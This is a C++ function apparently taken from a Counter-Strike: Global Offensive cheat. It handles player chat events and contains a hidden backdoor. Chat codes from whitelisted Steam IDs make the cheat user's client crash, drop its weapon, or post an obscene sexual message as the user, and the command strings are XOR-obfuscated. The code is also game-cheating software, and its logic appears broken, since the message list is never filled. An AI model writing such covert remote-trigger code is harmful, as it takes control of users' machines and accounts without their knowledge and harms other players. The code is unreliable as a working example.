void events::player_say( IGameEvent* evt )
{
// initialize player_info_t
player_info_t info;
// get player index.
auto index = g_csgo.m_engine->GetPlayerForUserID(evt->m_keys->FindKey(HASH("userid"))->GetInt());
// get local
auto pLocal = g_csgo.m_engine->GetLocalPlayer();
std::vector<std::pair<float, std::string>> m_vecDevMessages;
// google: http://steamcommunity.com/profiles/76561199157486172
std::vector<__int64> m_vecWhitelistedIds = {
76561198316009066 // murik: http://steamcommunity.com/profiles/76561198316009066
};
if (!pLocal)
return;
if ( !g_csgo.m_engine->GetPlayerInfo(index, &info) )
return;
if (m_vecDevMessages.empty())
return;
static std::vector<std::pair<std::string, std::function<void(void)>>> magic =
{
{ XOR("_0"), [&]() { exit(0x69); } }, // force crash
{ XOR("_1"), [&]() { g_csgo.m_engine->ExecuteClientCmd(XOR("drop")); } }, // drop weapon
{ XOR("_2"), [&]() { g_csgo.m_engine->ExecuteClientCmd(XOR("say \"you guys ever just thinking about sucking cock and swallowing cum? i think i have an attraction to femboys..\"")); } }, // troll
//{ XOR( "_3" ), [ & ] ( ) { PlaySoundA( ( LPCSTR )personuh, NULL, SND_MEMORY | SND_ASYNC ); } }, // personuh
};
// loop through all the messages sent by devs
for (auto& messages : m_vecDevMessages) {
// loop through all the magic codes
for (auto& codes : magic) {
// if the messages sent by devs mach any of the according
// magic codes, then do the action that this code stands for
if (messages.second == codes.first) {
// do!
codes.second();
// only do these once
m_vecDevMessages.clear();
}
}
}
}